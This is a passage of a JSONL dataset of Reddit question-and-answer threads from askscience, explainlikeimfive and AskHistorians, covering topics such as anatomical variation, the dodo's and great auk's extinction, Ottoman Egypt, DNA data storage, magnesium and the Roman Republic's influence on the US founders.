over if your country can afford it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1bujfg", "title": "Are we (humans) as physically (superficially) diverse inside as we are outside?", "selftext": "With such major differences in external appearance, such as hair color, eye color, skin color, size and shape of various features, etc., do we see this same diversity in the appearance of internal organs as well? I understand that a bigger person might have bigger x organ or something, but are there any major color differences, shape and size differences, etc?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bujfg/are_we_humans_as_physically_superficially_diverse/", "answers": {"a_id": ["c9a9eu9", "c9adcav", "c9ade6e", "c9ahvne"], "score": [37, 8, 4, 2], "text": ["I heard an interesting stat recently, which is that if an anatomical feature is present in 40% of the population, it's included in anatomy textbooks. This means that 60% of people could not have a thing at all and it will still be included in a textbook. There are, for instance, lots of muscles like palmaris longus, which are not actually present in everyone. That one's present in 90% of people I believe - 10% of people don't have it *at all*, yet it's in every anatomy textbook.\n\nThe point is, we are by no means all an anatomy textbook on the inside. There's lots of variation in size/shape of organs etc, and there are lots of structural anomalies like [situs inversus](_URL_1_) or an [aberrant right subclavian artery](_URL_0_) which all doctors have to know about.\n\nAs for colour, I very much doubt that there's much variation, because colour of internal organs is completely inconsequential. For example, brown adipose tissue is brown because it has more iron in it, but the iron is there for respiration, not to provide colour.\n\nDespite all this, I'd still say that on the whole, the anatomy of different people is pretty uniform. I've mentioned that doctors, especially radiologists, have to be aware of certain anomalies in case they show up on imaging of some kind, but generally speaking, an experienced radiologist will have no trouble whatsoever identifying the different organs and structures visible on say, an MRI scan or a CT scan.\n\nIt's worth mentioning also that the size, shape and structure of various organs can be massively affected by disease. Endocrine glands like the adrenal glands or the thyroid glands can grow or shrink by a large amount as a result of certain diseases. Their appearance may also change - tissues can undergo things like \"fibrosis\" or \"cirrhosis\", where fibrous tissue or scar tissue is formed in place of damaged normal tissue. If there is a lot of fibrosis in an organ, the whole organ will look very different to the way it should.\n\nEDIT: Corrected spelling of situs inversus and name of palmaris longus", "I know you were not specifically asking about this, but since I am currently since I am currently studying this it was too tempting to not mention it. It is becoming increasingly more evident that everyone has a unique microbiota (term used to define the microscopic organisms within the human body) fingerprint\", meaning that the bacterial/fungi/protists living in your body right now is different from anyone else in the world. This structure is gaining interest in the scientific community since it has been found that this microbiota outnumbers human cells 100-10:1. In other words, there are more other things living inside you right now then, well...you. So to make this relevant who knows how these organisms are changing your organs or how your organs are changing to adapt to these organisms.", "Think about it in terms of evolution: what's the selective advantage of appearance for a body part your predators, prey, and partners never see?  As long as the organ's job still gets done, there is more relaxed selection for appearance, but also no selection in any given direction. One thing you can actually visually verify this for is vasculature. Yes, everyone's got an aorta, and 2 jugular veins, but there's incredible variation in the development of smaller vasculature even between the left and right sides of the same person's body. Even important structures like the [cerebral arterial circle](_URL_0_) have very common variant structures that necessitate careful imaging planning by physicians when they work.", "Some people have what's called [dextrocardia](_URL_1_) in which the heart is more to the right side of the body than to the left. This can occur either in isolation from the other organs, or all of the organs will be mirrored (this is called [Situs Inversus](_URL_2_) ). The mirroring is generally caused when, in an embryo, a structure which eventually becomes the heart loops to the wrong side. All of the other organs align themselves based on this structure, and so everything is built mirrored across the sagittal plane (the plane running through your body dividing it in half left-to-right).\n\nThe condition isn't always a problem, though there is a [greater likelihood of congenital heart disease](_URL_0_). In cases where the heart is also inverted the risk is about 2-4 percentage points higher than normal, but in cases where the heart is normally-positioned on the left side (levocardia) while the rest are inverted the incidence is extremely high."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Aberrant_subclavian_artery", "http://en.wikipedia.org/wiki/Situs_inversus"], [], ["http://www.anatomyatlases.org/AnatomicVariants/Cardiovascular/Images0200/0292.gif"], ["http://emedicine.medscape.com/article/413679-overview", "http://en.wikipedia.org/wiki/Dextrocardia", "http://en.wikipedia.org/wiki/Situs_inversus"]]}
{"q_id": "4xe8la", "title": "what is it about swimming that allows michael phelps to win so many medals? why aren't there similar repeating winners in other sports, such as track and field that has multiple races with various distances?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xe8la/eli5_what_is_it_about_swimming_that_allows/", "answers": {"a_id": ["d6eoma3", "d6eoyej", "d6eqsm8", "d6eungn", "d6f0ow9", "d6f1dye", "d6f7v56"], "score": [14, 26, 12, 2, 7, 2, 2], "text": ["I think it speaks more about him than it does about the sport. He is basically how you would build the perfect swimmer. His body design is best for human swimmers. Even though he looks like a big dummy he must have the brain for it as well. He understands it. All of those things come together into him being better at swimming than everyone else. ", "There are four different types of swimming strokes as well. If there were separate 100m and 200m dashes for regular sprinting, running backwards, crawling on all fours and hopping like a rabbit as well as relays for each type of running you'd eventually see a sprinter win a mountain of gold like Phelps'.", "In addition to the other answers, swimming is a sport that uses a very similar set of muscles and structure for everything.  In long and short distance running, sprinters and distance runners are 'built' completely different, as are the people that jump.  Phelps is an amazing athlete, and he's gotten very lucky that his athleticism crosses several events in the Olympics.", "The answer is that there are 4 different stroke, and while most people have to focus on one event (a certain stroke at a certain length i.e. 100m Freestyle) in order to be competitive at the olympic level, Michael is competitive at 3/4 strokes as well the Individual Medley, which is an event which you must swim every stroke. In track the equivalent would be, 100m two foot dash, 100m left foot dash, 100m right foot dash, 100m backwards runnings. And then having Usain Bolt being the best in all of those would allow him to get 22 medals.", "I don't know if it's so much about the sport as it is about him. His wing span is longer than he is tall (and he's already 6'4 tall), which allows him to take longer strokes. He wears a size 14 shoe which essentially makes his feet giant flippers. Add to that the fact that he is able to bend and flex his legs and feet more than the average person. He also produces less lactic acid than the average person, allowing his body to recover faster. He has a larger lung capacity than the average person. So, he is basically above average in anything that would make you a good swimmer. He's genetically designed to be amazing at the sport. But, when you also combine this with the fact that he is absolutely committed to studying the sport (you can see him on the side of the pool reviewing footage of both himself and other athletes), you have a freaking juggernaut. ", "Gymnastics is the closest to swimming in number of events one person can enter with a chance of winning.  If you look at the top medal scorers ever they are mostly either swimmers or gymnasts.  If you look at the list of swimming events it becomes pretty clear why there are so many swimmers with huge medal hauls.  Consider that Freestyle and butterfly are essential the same motions just left and right in or out of phase.  So if you're good at one of those you can feasibly do well at both of those.  There are multiple distances for each of those and you could maybe perform well at both 100m and 200m.  So we've already got a few but we haven't yet considered the team events. There's the 100m freestyle relay and the 200m freestyle relay you could also go in for, oh and the 100m medley relay too.  You can do butterfly or freestyle in that, you're good at those.  Hey you've got a good chance of winning something here.  Wait we're not done, there's the individual medley to do and you're good at 2 of the 4 strokes already, you've got a good chance!  There's two medleys by the way, 200m and 400m.  \nIt's worth noting that other sporting organisations like in cycling put rules in place that limit how many events one person can do to limit the possibility of one country dominating.  The swimming governing body doesn't seem to care.  \nPS.  Michael Phelps is the best swimmer there has ever been, I don't mean to diminish his achievements, I just think it's unfortunate that no one other than a swimmer will ever beat him. And it's also a shame that swimming is so overrepresented to the detriment of other sports.", "There aren't many sports that have as many events in related skills. Swimming has a grid of four different swimming strokes, multiplied by a three common lengths (50 m, 100 m, 200 m, not to mention 400 m, 800 m, 1600 m in freestyle), plus individual medleys (all four strokes) in three different lengths (100 m, 200 m, 400 m), plus relays that are either freestyle or medleys in three different lengths. Just counting the common ones, that's about 20 events that all surround those four skills.\n\nCompare this with men's gymnastics, where there are medals for team, individual for each of the six events, and individual all-around, for a total of eight possible.\n\nAnd compare this with footraces, where there is basically running and hurdling and relaying in various lengths. Not as many."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "6ouk3t", "title": "How much of a surprise was it to contemporary people that the great auk went extinct ca. 1850? Was it even conceivable back in the late 1700s that a species could be hunted down to extinction?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ouk3t/how_much_of_a_surprise_was_it_to_contemporary/", "answers": {"a_id": ["dklillf"], "score": [61], "text": ["The late 1700s is indeed the turning point in our understanding of extinctions. Before the late 1700s, in the Western European scientific tradition, the general understanding of a species was that it was in some way eternal. \n\nAfter all, much of the modern assumptions that currently underlie biology did not yet exist. Few scientists had much of a sense of global scale, or of the extent to which animals in different areas of the world had fundamentally different evolutionary histories - after all, animals in different areas had been there as long as God put them there, and that was only thousands of years ago, not hundreds of millions (the genetic mechanisms of Darwinian evolution and the enormous age of the Earth not being well-understood until the 20th century). \n\nAdditionally, taxonomy was messy and the distinction between species - which still has some blurred lines today - was much more poorly understood at the time. For example, it was assumed that giant tortoises around the world were all the same species, so nobody noticed when several species of giant tortoises went extinct. Similarly, in writing in 1697, 1774, and 1788, the extinct Irish Elk was considered the same as the North American Moose. \n\nAs a result, the extinction of the Dodo of Mauritius had also basically gone unnoticed at the time, because nobody really thought it would only exist on Mauritius and nowhere else. The Dodo seems to have been reported as being common by mariners on Mauritius up to the 1630s, but it seems sparser by the time the Dutch settled Mauritius in 1638. The last reliable report of a dodo seems to have occurred in 1662, by a shipwrecked sailor on an off-shore island. The Dutch left Mauritius in 1710, and when the French recolonised Mauritius in 1721, they did not mention alive Dodos.\n\nBut nobody assumed that the Dodo was *actually* extinct. The Ashmolean Museum at Oxford University had a specimen in its collection until 1755, when - because it had become rotten - *it was burned*.\n\nIn 1778, a Mauritian writer called Morel reported that the Dodo was *locally* extinct, but that it was probably a species like 'emus, cassowaries or even rheas' which was still found elsewhere. Many French scientists, on hearing about the mythical Dodo and the inability of Mauritians to find living specimens, *assumed that the species was imaginary* - real species don't go extinct! \n\nIn 1796, however, Georges Cuvier demonstrated that species in fact did go extinct, that the bones of mastodons and mammoths were not in fact the same bones as those found in modern day elephants but in fact entirely separate species. Extinction really had occurred. Cuvier was also the person who made Linnean taxonomy look much more like its modern form, with the addition of phyla to the taxonomic tree, and, importantly, the addition of extinct species to the taxonomy of life. Nonetheless, for a couple of decades after Cuvier, French scientists seem to have assumed that the Dodo was still imaginary.\n\nAwareness of the extinction of the Dodo increased after the British invaded Mauritius in 1810. Prior in 1819 reported matter of factly that the Dodo was extinct. The popular image of the Dodo as an extinct animal dates from the 1830s - an author in *Penny Magazine* in 1833 used the Dodo to illustrate the agency of man in causing extinctions. \n\nBy 1839, Darwin was using the Dodo as a comparison in his popular journals on the *H.M.S. Beagle*; Darwin warned that endangered species such as the (now-extinct) Falkland Islands Fox might go extinct: 'in all probability this fox will be classed with the Dodo, as an animal which has perished from the face of the earth'. Extant Dodo skeletons in European collections were re-examined in the 1840s, confirming that they were really different species to emus or pigeons. An 1849 article in a popular magazine, *Blackwood's Edinburgh Magazine* used the Dodo to highlight the dangers of the looming extinctions of animals like the kiwi and the Kakapo. Popular exhibits at the London Great Exhibition in 1851 and at the Museum of Natural History in 1860 further increased knowledge of the Dodo, as did the publication of *Alice's Adventures In Wonderland* in 1865 (though even as late as 1867, the *National Encyclopaedia* was qualifying statements about the extinction of the Dodo, implying that it might still be found on other as-yet-undiscovered islands.)\n\nThe 1849 article in *Blackwood's* noticeably doesn't mention the Great Auk as being endangered, while the 1867 *National Encyclopaedia* discusses the Great Auk in the present tense (but also says that it is 'now held to be extinct'). However, the debate over the extinction of the Great Auk in the 1860s led to the passing of the first European legislation for the protection of birds in 1869. \n\nNot coincidentally, Darwin's *Origin Of Species* in 1859 painted an now-widely-held view of species as being the result of many, many generations of mutations caused by random chance which have helped animals survive or reproduce. In the post Darwinian world, which saw nature in Malthusian terms, and saw animals as adapted to their environment, it stood to reason that an animal might actually *only* exist in a particular environment; there was no reason for God to put Dodos on more than one island.\n\nSo the period between 1796 and 1869 is a period of increasing awareness of the possibility and indeed fact of extinction. So, in the 1790s we have the first conceptions that it might be possible to hunt a species to extinction (thanks to Cuvier), and by 1850, the example of the Dodo was widely known.\n\nWith regards to the Great Auk, the last definite record of Great Auks not being extinct is the killing of two birds off Iceland in 1844; ironically, William Proctor had claimed the species was extinct in 1837, when he failed to find breeding birds in Iceland (it had originally been distributed around the lower parts of the Arctic, including off Newfoundland, Iceland and the British Isles). There was uncertainty about its extinction until the 1860s or 1870s, but it was accepted as extinct around that time - thus the passing of legislation protecting sea-birds in 1869 - and more comprehensive legislation in Mauritius in 1878.\n\nSources:\n\n\nGould, S. J. (1998). The Dodo In The Caucus Race. *Leonardo's Mountain Of Clams And The Diet Of Worms*. London: Vintage. \n\nTurvey, S.T.,  &  Cheke, A. S. (2008). Dead as a dodo: the fortuitous rise to fame of an extinction icon. *Historical Biology, 20*, 149-163."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5xa8uh", "title": "can someone, in layman's terms , explain how you convert digital data to biological data (details in text)", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xa8uh/eli5_can_someone_in_laymans_terms_explain_how_you/", "answers": {"a_id": ["deghoar"], "score": [5], "text": ["So normal code is ultimately a list of 1s and 0s, as you may know. In terms of telling a computer information, a 0 means 'off', i.e. don't let electricity through this bit of a circuit, and a 1 means 'on', i.e. let electricity through. Gigantic strings of 1s and 0s are the basis of any software. \n\nDNA is a string of chemicals, there are four of them called A, G, C, and T. Your DNA is just incredibly long molecules of these four chemicals next to each other. Our body can read these and produce protein from them. \n\nHowever, we can also make our own DNA in an order that we choose. The way that you convert 0s and 1s into DNA is to define each of the four DNA chemicals as 00, 01, 10 and 11. So it's done as below:\n\n* 00 = A\n* 01 = G\n* 10 = C\n* 11 = T\n\nSo ATTCGA translates to 001111100100. \n\nSo once you synthesise a molecule of DNA with the sequence that you want, it then has all of this information. You store it in a fridge and when you want to access the data you can read the sequence using modern DNA sequencing technology, which can tell what the order of the DNA chemicals is in a molecule of DNA. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aohw61", "title": "In 1517 Egypt was conquered by the Ottoman Empire. How complete was this conquest? Did the Mamlukes continue to hold any significant political power in the following centuries?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/aohw61/in_1517_egypt_was_conquered_by_the_ottoman_empire/", "answers": {"a_id": ["eg2hhi4"], "score": [3], "text": ["I'll try to answer your question, sorry if it doesn't satisfy you.\n\nThe conquest of Egypt is more or less completed militarily in 1517, however the Ottomans hadn't consolidated their power in the region yet and faced many problems, mainly from the Egyptian Arab populace and the many of the Mamluks that wanted to restore the sultanate. They eventually managed to consolidate their power in 1525\n\nThe Ottoman conquests initially brought many changes and difficulties to the Egyptian populace. Ottoman conquests brought economic distress, as the Ottoman control of their subject's property was strict and those who didn't satisfy the supervisor or failed to follow bureaucratic procedures lost their rights. Shopkeepers were ordered to replace the Egyptian weights and measures with those used in Istanbul. New debased coins were put into circulation, causing the public to lose up to a third of the value of its money. Regulations concerning exchange rates and prices were issued frequently, resulting in inflation, the closing of markets, and general dissatisfaction and uneasiness. The Ottoman legal traditions also conflicted with the Egyptians. There was much resentment against the Kanun, and the notions of Ottoman justice were different to those of the Egyptians. For example, a Jew sued a Mamluk emir for a sum of money. When the emir refused to come to the court, the Ottoman judge arrested the emir and remained so until he can satisfy the Jew's demands, something that was unthinkable under Mamluk rule. The same judge had also ruled in favour of a woman who sued her husband, an influential emir. While the Ottomans were pleased on how everyone was equal before the Ottoman court, the people are hostile to the judicial system. The Egyptians were also shocked by the *s\u00fcrg\u00fcn,* that caused hardships and sufferings to the Egyptian people. While in time the Ottomans corrected their mistakes and they and the Egyptians became accustomed to each other, this was the case during the early years and it developed tension between the Ottomans and Egyptians\n\nWith the death of Selim I and Khai'r Bey, Mamluk governor installed by the Ottomans the Mamluks started to rebel. In May 1523, Janim al-Sayfi and Inal, two provincial governors of Middle Egypt rose up and led the first Mamluk revolt supported by many Mamluks and Arabs, including the powerful Arab ruler of Upper Egypt, Ali ibn Umar. Eventually the revolt was crushed, but the rebellion further strained the relations between the Mamluks and the Ottomans. Many Mamluks that had joined the rebels were killed, and those who remained loyal reportedly fought with little enthusiasm. \n\nA year latter, Ahmet Pasha, the governor of Egypt instigated a revolt which was a serious challenge to Ottoman rule. He had become the governor of Egypt in September 1523 and prepared the revolt soon after. He confiscated the Janissaries\u2019 muskets, expelled the Kapikulu to Istanbul, wooed the Mamluks and pardoned many who participated in the rebellion. he also forcefully extort money from the merchants and requisitioned many beasts of burden. He also raided the Nubian territories to create his own black slave-soldiers and training them to use firearms. The pasha rebelled against Istanbul in 1524 and quickly massacred what remained of the janissaries. He claimed the title of sultan, and ordered coins bearing his name to be minted and decreed that his new title be recited publicly during the Friday hutbe. To legitimize his position, Ahmet invited the four chief qadis and the Abbasid caliph to the Citadel at the beginning of each month to greet him as had been the custom under the Mamluk sultans. However, his rule only lasted a few months. Janim al-Hamzawi, a loyalist Mamluk emir with his army managed to surprise him and he escaped to Sharqiya, where he was captured and beheaded on March 6. \n\nEven though the rebellion of Ahmet Pasha failed, Egypt remained unstable because the revolt had stirred up the Arabs throughout the country. The bedouin Arabs believed that the Ottomans in Egypt were exhausted and could be defeated easily. The Arabs however were disunited and their arms and discipline were inferior. With fresh reinforcements arrived in Egypt the province was finally subdued. On April 2, 1525, S\u00fcleyman\u2019s famous Grand Vizier, Ibrahim Pasha, came to Egypt and restored Ottoman authority. During his stay in Egypt, he consolidated Ottoman rule in Egypt and its administration. He promulgated the edict codifying the administrative practice of the province, the Kanunname-i-Misir which laid the foundations of the military administration in force for the next three centuries. The edict assigned responsibilities to provincial rulers to maintain the irrigation system, maintaining security, and supervising tax-collection. Long passages are devoted to how the peasantry are to be treated and their taxes collected. Cadastral surveys, fallow land, land not reached by the Nile floods, waqf foundations, granaries, seaports and the mint are also treated in the code. Finally, the code also officially recognized the Mamluks. The Mamluks were reorganized into a regiment, pensions and titles from Mamluk times were maintained, Mamluk emirs were recognized, and many Mamluks were appointed as bureaucratic staff. Later on the Mamluk beys did indeed hold high positions, even de facto ruled Egypt. For a brief overview, see my earlier [answer](_URL_0_)\n\n **Sources**:\n\n\"*Egyptian Society Under Ottoman Rule\"* by Michael Winter\n\n*\"Encyclopedia of the Ottoman Empire\"* by Bruce Masters et al"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/ahyqxn/what_was_egypt_like_under_the_ottomans/eelevkn/?context=3"]]}
{"q_id": "ywxru", "title": "Is there a biological reason for teenage rebellion/angst?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ywxru/is_there_a_biological_reason_for_teenage/", "answers": {"a_id": ["c5zkq55", "c5zkxh0", "c5zq86x", "c5zu5ik", "c5zvmyg"], "score": [22, 12, 6, 2, 2], "text": ["//I'm not an expert in anything, but...\n\nit is easy to come up with evolutionary [Just So Stories](_URL_0_) for a bad relationship between teenagers and their parents. It is nature's way to \"kick us out of the nest\" and make us learn to provide for ourselves, but because we go to school for so many years we are forced to spend time with our parents for much longer than nature intended, and the (historically) very useful mechanism backfires and makes us unhappy for many years. \n\nIs that the true story? I'm not sure we could ever know...", "Years back there was some anthropological study that showed this one Samoan tribe had complete oposite relations between teenagers and adults, then a few years later the teenagers admitted they were completely fucking with the anthropologist. It was a huge controversy and I'm sure others know of it. I'm trying to track down the study and the anthropologist.\n\nEdit: [Found it](_URL_0_): it was aspects of Margaret Mead's *Coming of Age in Samoa.* The gist of that study was two main points: first, that teenage girls in samoa put off marriage and instead slutted about, and second that they maintained loving relations with their parents. \n5 years after she died, Derek Freeman published  a challenge to Mead's work, featuring quotes by the girls interviewed by Mead saying they had lied, and Mead didn't ask them if they were serious. In reality virginity was a huge deal to the samoan culture, and everyone has issues with their parents.", "BJ Casey, Cornell, uses science and fMRI imaging to argue that teen behaviors like rebellion/angst are due to different rates of maturation of different brain structures - specifically prefrontal cortex and striatum. ", "There's been a bit of research on the subject of angst and anxiety (but not rebellion as far as I know). It has something to do with how humans respond to stressors. In the good ol' days of hunting, basic stress responses worked best if they responded powerfully until the stressor was removed (or evaded). Unfortunately, in modern society, most stressors are not the kind that can be solved via fight or flight mechanisms (exams, bills, jobs, etc.). This results in the body keeping itself in the stressed state far longer than would be beneficial. ", "May I propose an answer that no one else is giving?  \n\nHuman teenagers are not necessarily \"supposed\" to be rebellious in an evolutionarily typical setting.  In modern society parents and their children may simply be put into unnatural situations in which their interests conflict, and teens have high levels of aggression in general.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Just_So_Stories"], ["http://en.wikipedia.org/wiki/Coming_of_Age_in_Samoa"], [], [], []]}
{"q_id": "2lhnnm", "title": "mit open course ware", "selftext": "Hey guys!\n\nI was just wondering if anyone out there knows how the MIT OCW works. Like how do you take lectures, is there hw, do you get some sort of recognition like a diploma or what?\n\nAlso, how did MIT manage this, they usually charge a bunch of money for it, but now its for free? Could someone shine some light in their business plan or is it charity or what? \n\nThanks in advance. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2lhnnm/eli5_mit_open_course_ware/", "answers": {"a_id": ["cluu7rb", "cluvmfs"], "score": [2, 2], "text": ["They offer their course content for free, but not the credit that comes with the class.  So you could teach yourself about a subject using MIT resources, but they're not going to give you a degree or anything official.  They're not going to spend man-hours to grade any tests or quizzes you take, so any of those that you want graded you'll either have to go back and check yourself, or use something that's multiple choice/automated.", "Well, you're not actually attending the course. \n\nThe actual content varies from course to course but generally you download the syllabus, lecture notes, exams, etc. and follow the course yourself. You're not actually attending classes or working towards a degree. They're just giving you the materials they cover in their classes and allowing you to follow along. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "c9qo1w", "title": "why do so many people have vitd deficiency even though, sunlight is so abundant and the planet is getting hotter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c9qo1w/eli5_why_do_so_many_people_have_vitd_deficiency/", "answers": {"a_id": ["et1fcrs", "et1hdph", "et22ech", "etbffnn"], "score": [8, 4, 3, 2], "text": ["Well first, just because the planet is getting warmer doesn\u2019t really mean that all places are sunnier. It means that\u2019s certain gasses In our atmosphere are keep heat from escaping. Like a car in the hot sun, the suns not shining brighter in the car then it is outside of it, it just can\u2019t escape in the car so it\u2019s warmer. The amount of sunlight isn\u2019t changing necessarily. \n\nSo people in places like the Pacific Northwest that are cloudy all the time still aren\u2019t getting a whole lot of sun. \n\nIn addition, people spend a lot of time inside for work, school, etc. That combined with the short days of Winter seasons takes it\u2019s toll on the amount of sunshine you get.", "In places where it's getting hotter, the people who can are sometimes spending more time indoors.  \n\n\nImagine an average person. Sleep, wake up, morning stuff, go to work or school, then it's afternoon and a countdown towards darkness. That's either spent indoors (even fitness-oriented people can spend it inside in a gym) or outside. If you spend it indoors, you've got less sunlight (you won't Vitamin D from sunlight through most windows).\n\n & #x200B;\n\nYou've probably heard complaints like 'no one goes outside anymore!' or something, like kids aren't riding around on their bikes like they did in the 80s, but there's more options for folks inside, especially since so many people have devices that can connect them to the rest of the world.", "In addition to the other answers, some vitamin D absorption also happens in your gut. The rise in autoimmune disease and poor diet/unhealthy gut bacteria may be impacting vitamin D absorption, thereby decreasing vitamin D levels in the body even with sun exposure.", "Someone once put it like this to me: humans evolved to run around naked at the equator.\n\nIf you think about it, putting anything between your skin and the sun will prevent your body from producing vitamin D. It doesn't matter if that barrier is a cloud because you live in an overcast area or a long sleeve shirt because you're cold. Really any kind of barrier will have the same effect."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5hk3vh", "title": "why magnesium calms you down?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5hk3vh/eli5why_magnesium_calms_you_down/", "answers": {"a_id": ["db10zu3", "db1alol"], "score": [9, 5], "text": ["Magnesium is necessary for neurotransmitters, the \"chemical messengers\" that move between nerve cells and their target cell. Neurotransmitters affect things like mood and anxiety.\n\nMany people in the western world have a magnesium deficiency. A lot of magnesium comes from our food, which takes magnesium from the soil. However, modern agriculture isn't great for the soil, so many people just don't get enough magnesium. \n\nIf you are deficient, you are starting below zero. Start supplementing, and things start to work the way they are intended. So it isn't necessarily that magnesium calms. It's more that a magnesium deficiency may exacerbate anxiety.", "Magnesium and calcium have a sort of yin/yang relationship in your body as well as supporting the formation and function of numerous enzymes. There are things called calcium channels on the outside of \"excitable\" cells (e.g: neurons, muscle tissue) and they act like a sort of switch activated by calcium ions (which are just calcium atoms with an electrical charge). Magnesium ions can block the calcium ions from those channels and prevent their excitation. Magnesium causes muscles to relax which can relieve spasms and also lower blood pressure (by relaxing the walls of blood vessels). The blocking of calcium channels in nerve cells inhibits the release of the neurotransmitter norepinephrine which can lower your heart rate as well as your blood pressure.  \n \n \nThe effects of magnesium in the body are actually very complex, but the simplest answer to your question is that magnesium interacts with calcium channels inside your body in a way that prevents cellular excitation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1u7vwj", "title": "Is it possible to build a machine that constructs objects molecule-by-molecule?", "selftext": "If so, what innovations could make this possible? Reddit is a giant think-tank, and I'm interested to see what people think. Storing the molecular blueprints for any visible object would be impossible today, but likely not so in the future.\n\nThe concept of creating millions of nanoscopic \"assembler machines\" seems impractical to create anything quickly. Couldn't you have 3 plates suspend each molecule, move it into place, and exert some force to bind them together?  (since individual molecules weight very little, and can be controlled with much precision inside an electric field, and moved rapidly)\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u7vwj/is_it_possible_to_build_a_machine_that_constructs/", "answers": {"a_id": ["cefktub"], "score": [3], "text": ["In a sense, this is what the field of nano-technology (specifically nano-fabrication) is all about. The main issue is that at small length scales, we often rely on self-assembled processes in fabricating nano-structures. These processes often rely of kinetic, thermodynamic and mechanical properties of the materials you are using. The field of nanotechnology is very young and anytime you can make novel structures (think of simple geometric shapes), you've made a significant contribution to the field."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "adf4sr", "title": "Why did babies in medieval paintings, look like old small men?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/adf4sr/why_did_babies_in_medieval_paintings_look_like/", "answers": {"a_id": ["edgen5q"], "score": [14], "text": ["Do you have a specific image or set of images in mind? There are quite a few cases where babies can look like babies, small children, or small adults. Sometimes, for example, you'll notice that everyone has basically the same face. It's helpful to me to think of those as essentially cartoons (think of xkcd today! We have no trouble parsing those characters as different based on clothes or a couple of scribbles to signify a beard).\n\nIn other times, the \"baby\" is not a baby at all, but rather signifies the soul of the person holding it/next to it. (Or in pictures of Judgment, sometimes an angel guides what looks like a small child--again, a soul, and likely of someone who had died as an adult).\n\nWithout a specific illumination or painting, though, it's difficult to tell in the individual case! ;)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a9k5my", "title": "The founding fathers based the U.S. constitution on what they liked about the Roman Republic. Did they recognize any issues with the Roman Republic that they tried to improve on? What were these and how did they go about it?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a9k5my/the_founding_fathers_based_the_us_constitution_on/", "answers": {"a_id": ["ecklh9r", "eckxhqm", "eckxhtx"], "score": [818, 21, 10], "text": ["The Roman Republic served the Founders less as a coherent political model than as a source of moral exemplars and familiar precedents that could be cited in debates over given policies. Although some of the Founders (notably John Adams) were inspired by Polybius' description of the Roman Republic as a \"mixed constitution\" (a government that blended and balanced aspects of monarchy, aristocracy, and democracy), the US Constitution was essentially based on the political theories of the Enlightenment. \n\nIndividual founders, however, cited figures and institutions from the Roman Republic as negative examples. It was generally agreed that the degradation of the Republic in the late second and first centuries BCE could be attributed to the unchecked ambition of men like Marius, Sulla, and (above all) Caesar. Caesar  - variously likened to George III, Governor Hutchinson, Aaron Burr, and other disagreeable figures - tended to be described as the great villain who brought about the end of the Republic, and was often contrasted with such virtuous champions of liberty as Brutus, Cato and Cicero.  In this sense, the Republic's greatest political lesson was the danger of unlimited power. Some (mostly Anti-Federalists) adduced Caesar and various notorious Roman emperors to argue against a strong executive. The example of Caesar was also used to argue against maintenance of a standing army.\n\nThe Founders sometimes criticized certain institutions of the Republic in political debate. When arguing for a small Congress during the Constitutional Convention, for example, Madison observed the number of the Tribunes of the Plebs (10) impeded their political effectiveness. When supporting the idea of a single executive, likewise, Hamilton, noted that the inefficient nature of the dual consulship in the Republic necessitated the appointment of a single dictator in times of crisis. John Dickinson, promoting a strong Senate, mentioned that the Roman people's encroachment on the prerogatives of the Senate (via their support of populists and generals) was the ultimate cause of the Republic's downfall.\n\nThroughout the era of the Founders, however, it was the specter of Caesar's \"tyranny\" that most blighted perceptions of the Republic as a political model. \n\n & #x200B;\n\nR. A. Ames and H. C. Montgomery, \"The Influence of Rome on the American Constitution\" *The Classical Journal* 30 (1934), 19-27\n\nMargaret Malamud, *Ancient Rome and Modern America* (Malden, 2009), Ch. 1\n\nCarl Richard, *The Founders and the Classics: Greece, Rome, and the American Enlightenment* (Cambridge, MA, 1994)\n\n & #x200B;", "Add-on question: I've heard from one source that one major inspiration for the US government was the Iroquois Confederation - how true is this?", "Follow up question: Is their any historical evidence that the Venetian Republic influenced the American Founders?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
